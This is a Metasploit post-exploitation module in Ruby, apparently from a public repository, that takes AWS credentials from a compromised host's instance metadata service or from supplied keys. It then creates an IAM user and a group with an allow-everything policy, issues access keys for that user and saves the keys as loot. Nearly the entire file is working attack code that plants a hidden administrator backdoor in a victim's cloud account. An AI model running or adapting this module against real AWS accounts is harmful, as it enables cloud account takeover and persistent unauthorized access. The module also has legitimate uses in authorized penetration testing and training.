98 lines
3.5 KiB
Ruby
98 lines
3.5 KiB
Ruby
require 'msf/core'
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require 'metasploit/framework/aws/client'
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class MetasploitModule < Msf::Post
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include Metasploit::Framework::Aws::Client
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def initialize(info={})
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super(update_info(info,
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'Name' => "Create an AWS IAM User",
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'Description' => %q{
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This module will attempt to create an AWS (Amazon Web Services) IAM
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(Identity and Access Management) user with Admin privileges.
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},
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'License' => MSF_LICENSE,
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'Platform' => %w(unix),
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'SessionTypes' => %w(shell meterpreter),
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'Author' => ['Javier Godinez <godinezj[at]gmail.com>'],
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'References' => [
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[ 'URL', 'https://github.com/devsecops/bootcamp/raw/master/Week-6/slides/june-DSO-bootcamp-week-six-lesson-three.pdf' ]
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]
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))
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register_options(
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[
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OptString.new('METADATA_IP', [true, 'The metadata service IP', '169.254.169.254']),
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OptString.new('RHOST', [true, 'AWS IAM Endpoint', 'iam.amazonaws.com']),
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OptString.new('RPORT', [true, 'AWS IAM Endpoint TCP Port', 443]),
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OptString.new('SSL', [true, 'AWS IAM Endpoint SSL', true]),
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OptString.new('IAM_GROUP_POL', [true, 'IAM group policy to use', '{"Version": "2012-10-17", "Statement": [{"Effect": "Allow", "Action": "*", "Resource": "*" }]}']),
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OptString.new('IAM_USERNAME', [true, 'Username for the user to be created', 'metasploit']),
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OptString.new('Region', [true, 'The default region', 'us-east-1' ])
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])
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register_advanced_options(
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[
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OptString.new('AccessKeyId', [false, 'AWS access key', '']),
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OptString.new('SecretAccessKey', [false, 'AWS secret key', '']),
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OptString.new('Token', [false, 'AWS session token', ''])
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])
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deregister_options('VHOST')
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end
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def run
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# setup creds for making IAM API calls
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creds = metadata_creds
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if datastore['AccessKeyId'].empty?
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if creds['AccessKeyId'].empty?
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print_error("Could not find creds")
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return
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end
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else
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creds = {
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'AccessKeyId' => datastore['AccessKeyId'],
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'SecretAccessKey' => datastore['SecretAccessKey'],
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'Token' => datastore['Token']
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}
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end
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# create user
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username = datastore['IAM_USERNAME']
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print_status("Creating user: #{username}")
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action = 'CreateUser'
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doc = call_iam(creds, 'Action' => action, 'UserName' => username)
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print_results(doc, action)
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# create group
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print_status("Creating group: #{username}")
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action = 'CreateGroup'
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doc = call_iam(creds, 'Action' => action, 'GroupName' => username)
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print_results(doc, action)
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# create group policy
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print_status("Creating group policy: #{username}")
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pol_doc = datastore['IAM_GROUP_POL']
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action = 'PutGroupPolicy'
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doc = call_iam(creds, 'Action' => action, 'GroupName' => username, 'PolicyName' => username, 'PolicyDocument' => URI.encode(pol_doc))
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print_results(doc, action)
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# add user to group
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print_status("Adding user (#{username}) to group: #{username}")
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action = 'AddUserToGroup'
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doc = call_iam(creds, 'Action' => action, 'UserName' => username, 'GroupName' => username)
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print_results(doc, action)
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# create API keys
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print_status("Creating API Keys for #{username}")
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action = 'CreateAccessKey'
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doc = call_iam(creds, 'Action' => action, 'UserName' => username)
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doc = print_results(doc, action)
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return if doc.nil?
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path = store_loot(doc['AccessKeyId'], 'text/plain', datastore['RHOST'], doc.to_json)
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print_good("API keys stored at: " + path)
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end
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end
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